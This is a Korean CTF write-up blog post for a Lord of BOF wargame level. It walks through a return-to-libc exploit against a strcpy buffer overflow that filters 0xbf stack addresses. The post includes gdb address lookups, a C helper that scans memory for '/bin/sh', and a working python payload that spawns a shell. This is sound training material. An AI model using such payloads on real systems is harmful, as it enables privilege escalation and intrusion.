본문 바로가기

CTF_Write_UP/LOB

[LOB] darkknight

시작

안녕하세요 :D

분노의 LOB를 풀고 있습니다!! peda 없는 pwnable은 힘드네요.. peda 가져와……

다시 한 번 peda의 find, ropgadget 기능의 위대함을 느끼며

RTL1, 시작하겠습니다!!

Write UP

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) 
{ 
        char buffer[40]; 
        int i; 

        if(argc < 2){ 
                printf("argv error\n"); 
                exit(0); 
        } 
if(argv[1][47] == '\xbf') { printf("stack betrayed you!!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); }

Return to Library, RTL 문제가 나왔습니다.

보니깐 리턴을 쉘코드 주소로 덮어쓰지 못하게 \xbf를 필터링하네요.

처음 ROP 공부할 때가 생각나는 문제입니다 ㅎㅎ

SFP까지 덮고 RET을 system()으로 overwirte 후 더미 4 bytes와 /bin/sh를 주면 되겠네요.

(gdb) p system 
$1 = {} 0x40058ae0 <__libc_system>

system = 0x40058ae0

(gdb) find "/bin/sh" 
Undefined command: "find".  Try "help".

.. peda 가져와라

직접 짜서 구해야겠네요 ㅎ..

#include <stdio.h>

int main() { 
        int system = 0x40058ae0; 

        while (memcmp((void *)system, "/bin/sh\x00", 8)) 
                system++; 

        printf("%p\n", system); 
}

“/bin/sh” = 0x400fbff9

끝끝

[darkknight@localhost bugbear]$ ./bug `python -c 'print "A" * 44 + "\xe0\x8a\x05\x40" + "BBBB" + "\xf9\xbf\x0f\x40"'` 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒@BBBB▒@ 
bash$ whoami 
bugbear 
bash$ my-pass 
euid = 513 
new divide

Exploit!!

마무리

peda는 삶의 질을 높여줍니다!! ㅎㅎ

감사합니다 :D

'CTF_Write_UP > LOB' 카테고리의 다른 글

[LOB] giant  (0) 2019.08.03
[LOB] bugbear  (0) 2019.08.02
[LOB] golem  (0) 2019.08.01
[LOB] skeleton  (0) 2019.07.05
[LOB] vampire  (0) 2019.07.04